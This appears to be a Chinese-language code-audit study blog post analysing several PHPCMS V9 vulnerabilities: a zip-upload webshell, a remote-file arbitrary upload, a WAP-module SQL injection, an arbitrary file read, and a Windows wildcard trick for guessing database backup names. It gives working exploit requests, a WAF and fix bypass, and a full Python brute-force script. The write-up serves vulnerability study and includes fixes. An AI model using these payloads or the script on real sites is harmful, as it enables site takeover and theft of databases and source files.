PHPCMSV9版本程式碼審計學習

學習程式碼審計,自己簡單記錄一下。如有錯誤望師傅斧正。

PHPCMS預備知識

PHPCMS是採用MVC設計模式開發,基於模組和操作的方式進行訪問,採用單一入口模式進行項目部署和訪問,無論訪問任何一個模組或者功能,只有一個統一的入口。

參數名稱 描述 位置 備註
m 模型/模組名稱 phpcms/modules中模組目錄名稱 必須
c 控制器名稱 phpcms/modules/模組/*.php 文件名稱 必須
a 事件名稱 phpcms/modules/模組/*.php 中方法名稱

PHPCMSV9.2上傳Getshell

漏洞復現

我們搭建好環境直接註冊,找到修改頭像。

image-20210713205932313)

我們在本地創建一個zip文件裡面包含一個文件夾,一個我們的惡意程式碼。通過Burp修改掉。

image-20210713210052053

訪問phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我們的uid

image-20210713212930046

漏洞分析

重複以上步驟。通過burp我們找到上傳事件,我們直接去程式碼定位這個函數。

image-20210713210251188

然後去程式碼找到函數直接斷點調試

image-20210713210620009

根據用戶UID創建文件夾,防止用戶多了文件夾重複創建了兩次,然後檢測目錄創建,沒有就創建一次,否則跳過。

image-20210713211150731

根據uid重命名我們的壓縮包文件

image-20210713211348264

壓縮包的文件就是我們上傳的壓縮包文件

image-20210713211535141

之後進行解壓縮文件

image-20210713211744654

之後進入dir中循環判斷文件安全,刪除壓縮包和非jpg圖片

image-20210713211943208

走到遍歷白名單判斷文件,排除.(當前目錄)..(上級目錄)下圖刪除了壓縮包文件

image-20210713212302942

再次循環時$file=av 而av是目錄。unlink是不能刪除目錄的。所以出現異常。

image-20210713212333388

所以進而我們的惡意文件留在了伺服器裡面。這就是為什麼上面利用的壓縮包里的惡意程式碼文件需要放在目錄下

漏洞修復

不使用zip壓縮包處理圖片文件。因為後端需要處理特別多的數據。

PHPCMSV9.6.0任意文件上傳漏洞

漏洞復現

先註冊然後抓包

image-20210714095036774

其中要準備一個遠程的伺服器下的惡意程式碼

image-20210714104836022

準備我們的POC如下

siteid=1&modelid=11&username=123456&password=123456&[email protected]&info[content]=<img src=//192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

然後修改放包會報一個錯誤,會返回我們的URL路徑

image-20210714095300962

image-20210714095331750

漏洞分析

我們直接找到剛剛我們的包,他是在index.php進入member模組中的index文件裡面有一個register函數

image-20210714100019749

我們現在打開我們的程式碼定位函數,路徑如下

image-20210714110048083

為了更好的理解POC的巧妙。我們正常註冊一次然後用POC註冊一次分析

image-20210714131702013

前面就是一堆資訊的驗證作用不大,我們繼續跟蹤到130行

if($member_setting['choosemodel']) {
	require_once CACHE_MODEL_PATH.'member_input.class.php';
	require_once CACHE_MODEL_PATH.'member_update.class.php';
	$member_input = new member_input($userinfo['modelid']);		
	$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
	$user_model_info = $member_input->get($_POST['info']);	//重點			        	}

在這裡我們看見$_POST['info']使用了member_input類中的get方法我們跟蹤進去。

image-20210714172524854

走到47行獲取了datatime函數,this->fields是一個動態函數對應的一張表根據modelid來確定的formytpe。如下圖

【也可以跟進去一步步來,微信搜索黑白天的文章。有詳細解釋,建議自己跟一遍】

image-20210715111531976

image-20210714172423802

我那們跟進去datatime函數 就是做了一校驗然後又返回給$value

image-20210715112429559

然後就是插入兩次資料庫,一個插入v9_member表一個生日日期和用戶id插入到v9_member_detail表中,至此正常流程走完。

image-20210714174943523

image-20210714174429168

接下來我們分析一下POC流程

值得注意的是我們必須保證username email是唯一

然後我們繼續定位到130行,發現content是我們的內容image-20210715115513282

經過new_html_special_chars就是防止XSS 所以實體化image-20210715115539585

於是我們變成了下面這樣子。繼續跟蹤get方法同上image-20210715115601890

這裡我們獲取的是editor函數。

image-20210715114208216

在這個函數中我們有一個download方法

image-20210715122725543

我們跟蹤download方法,發現以下關鍵程式碼

$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

這就是為什麼我們寫info[content]=<img src-//xxxx/phpinfo.txt?.php#.jpg(符合這個格式,而且加.jpg的原因)

到155行這裡他把我們的$string值複製給了$matches

$matches [3]剛好是我們的鏈接,所以真的很巧妙

image-20210715120332699

接著我們跟蹤fillurl方法,裡面有一串關鍵程式碼如下

$pos = strpos($surl,'#');
		if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#,然後使用substr處理?.php#.jpg,處理完之後$surl =?.php繼續執行,可以發現返回的url去掉了#後面的內容

image-20210715120530900

然後獲取後綴名。然後通過getname方法生成時間+三位數的文件名,如果不返迴文件地址的url我們也可以進行爆破處理。

image-20210715121811584

image-20210715121521423

此時進行了copy函數對遠程文件下載

image-20210715123850218

這裡的$this->upload_func是copy函數的原因,是因為初始化時賦給的

image-20210715123444761

此時我們的文件已經到我們的本地了

image-20210715124006568

接著我們來看看寫入文件的路勁是如何返回給我們的。上面程式執行完以後,回到了register 函數中:

繼續跟進$this->db->insert($user_model_info); 發現資料庫插入的欄位都不一樣繼續執行就會報錯。前台提示的資訊一樣,沒有這個欄位當然報錯

Message : Unknown column ‘content’ in ‘field list’

image-20210715124757737

漏洞修復

在phpcms9.6.1中修復了該漏洞,修復方案就是對用fileext獲取到的文件後綴再用黑白名單分別過濾一次

$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, 		array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
 			continue;
}

PHPCMSV9.6.0 WAP模組 SQL注入分析

漏洞復現

首先第一步訪問

/index.php?m=wap&c=index&siteid=1

image-20210715161331519

把得到的set-cookie 記錄下來

第二步以POST方式訪問【下面是測試爆user的】就是一個報錯注入語句

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

並且傳參userid_flash其中的值就是第一步我們得到的set-cookie

userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

image-20210715162132366

把加密的json值記錄下來

第三步以POST的方式訪問

/index.php?m=content&c=down&a_k=第二步得到的Json值

image-20210715163120554

漏洞分析

其實我們就是通過最後一次提交的數據來爆出來的東西。我們就逆向分析。看第三步的URL做了些什麼

/index.php?m=content&c=down&a_k=第二步得到的Json值

我們定位到content模組down文件中發現並沒有a_k方法

說明是自動執行的那就是init()__construct()

__construct()基本沒東西,我們直接下斷init

走到14行看到sys_auth然後他就是一個加密解密的函數,我們這裡不分析加密解密只分析功能

image-20210715164258371

經過sys_auth解密得到

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

走到17行發現一個系統函數parse_str 這個函數用不好容易出現變數覆蓋。可以自己查一下

image-20210715165137462

我們知道用法了就是把$id給弄出來

然後直接到26行跟蹤get_one函數,發現後面就直接執行語句了。

image-20210715173420523

肯定有人現在好奇那第三步為什麼會得到這個值,我們返回到14行

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

我們怎麼得到a_k的值,怎麼得到的這個規範進行解密,因為他需要(‘system’,’auth_key’)我們並不知道

所以我們需要知道誰調用了這個函數

我們回到第二步的POC

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&

userid_flash=Set-Cookie

我們找到attachment模組下的attachments文件中的swfupload_json函數

image-20210715175112616

src時有一個safe_replace函數我們跟進

image-20210715183735791

發現一個waf所以我們的src為什麼要寫成%*27的原因,就是為了繞過一次waf

繼續到set_cookie我們跟進去發現set_cookie調用了sys_auth這個函數並且進行了ENCODE剛好我們又可以再前台看見

image-20210715175343564

至於我們為什麼要傳入一個POST值,是在__construct中如果沒有這個userid他會showmessage

image-20210715180755944

userid是17行的關鍵程式碼。我們肯定沒有userid嘛所以三元表達式到第三個,他進行解密一次並且userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

現在POST值是怎麼拿到的呢,回到第一步,訪問的URL

/index.php?m=wap&c=index&siteid=1

我們周到wap下的index下的siteidsiteid直接就在__construct函數裡面,於是經過一次set_cookie加密

image-20210715185530441

我們現在來順利一下整個過程

image-20210715193138877

修復建議

把$a_k過濾一次,把$id用intval過濾一次

PHPCMS9.6.1任意文件讀取

漏洞復現

步驟同上一個漏洞所以就不截圖了

第一步訪問把得到的set-cookie 記錄下來

/index.php?m=wap&c=index&siteid=1 

第二步訪問

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp

同樣POST傳遞值

userid_flash=第一步獲取的Set-cookie

第三部訪問

/index.php?m=content&c=down&a=init&a_k=第二步獲取的set-cookie

image-20210715201247818

就可以下載我們要下載的文件

漏洞分析

我們還是和wap_SQL注入那樣逆向分析一下

/index.php?m=content&c=down&a=init&a_k=set-cookie

經過解密之後

image-20210715205338895

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}

經過safe_replace處理之後

&quotaid&quot:1,&quotsrc&quot:&quotpad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp&quot,&quotfilename&quot:&quot&quot

但是我們關鍵的是&s和&f沒有任何變化

再經過parse_str處理我們的url會被解碼一次

image-20210715205642241

$f現在就是.p%3cphp

image-20210715210151809

然後downurl發生變化我們點擊下載到download函數

image-20210715210928651

經過一次解密再經過parse_str轉碼%3c=> <

走到118行因為傳遞的m=1經過$fileurl把他拼接起來變成

.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl);  //118行程式碼

然後走到125行進行隨機名稱生成,126行他又把$fileurl的<給去掉了

$filename = date('Ymd_his').random(3).'.'.$ext;      //125
$fileurl = str_replace(array('<','>'), '',$fileurl);    //126

然後就進行一個原始下載。

第二部分和第一部分參考上面wap_sql注入,原理一樣。我們現在梳理一下這個漏洞。

從最下面分析,他過濾了<> 然後到上面php等一些黑名單 那就P<HP就可以

image-20210715212632058

$fileurl是通過$s來的和$f來的。而$f和$s是通過構造$a_k來的,其中就DECODE 了兩次

所以要通過siteid=1來進行ENCODE一次。我們為什麼要傳一個userid_flash

因為attachments下的析構函數中的userid不能為空
而我們沒登陸所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下傳入的userid_flash使得userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

又經過set_cookie('att_json',$json_str);然後又返回到前台set-cookie

最終通過以下方法進行了下載

index.php?m=content&c=down&a=init&a_k=set-cookie

漏洞修復

官方V9.6.2是先過濾<>再進行php等黑名單過濾,我們還是可以繼續通過空白字元來進行繞過的
%81-%99間的字元是不會被trim去掉的且在windows中還能正常訪問到相應的文件。並且得到auth_key之後還可以進行其他的操作例如SQL注入等

PHPCMSV9暴力猜解資料庫

備份路徑 \caches\bakup\default\xxxx.sql

而問題出現在哪,我們先看POC。

poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

image-20210715221054129

原因:

windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用而PHP的opendir(win32readdir.c)就使用了該API。PHP的文件操作函數均調用了opendir,所以file_exists也有此特性。
pwaaov0zodprrm5371pe_db_20210715_1.sql
file_exists — opendir — FindFirstFile — << 通配符
file_exists – << 通配符
333xxxx.sql
3<<.sql
file_exists(3<<.sql)

因為返回的只不同所以我們可以逐個猜解

附上鬥魚Sec腳本

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
    mark = True
    req = urllib2.Request(url)
    req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
    response = urllib2.urlopen(req)
    content = response.read()
    if 'Cannot' in content:
        mark = False
    return mark
def guest(target):
    arr = []
    num = map(chr, range(48, 58))
    alpha = map(chr, range(97, 123))
    exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
    while True:
        for char in num:
            if check(exploit % (target, ''.join(arr), char)):
                arr.append(char)
                continue

            if len(arr) < 20:
                for char in alpha:
                    if check(exploit % (target, ''.join(arr), char)):
                        arr.append(char)
                        continue

            elif len(arr) == 20:
                arr.append('_db_')

            elif len(arr) == 29:
                arr.append('_1.sql')
                break

            if len(arr) < 1:
                print '[*]not find!'
                return

            print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))

if __name__ == "__main__":
        url = '//www.x.com'
        #test
        guest(url)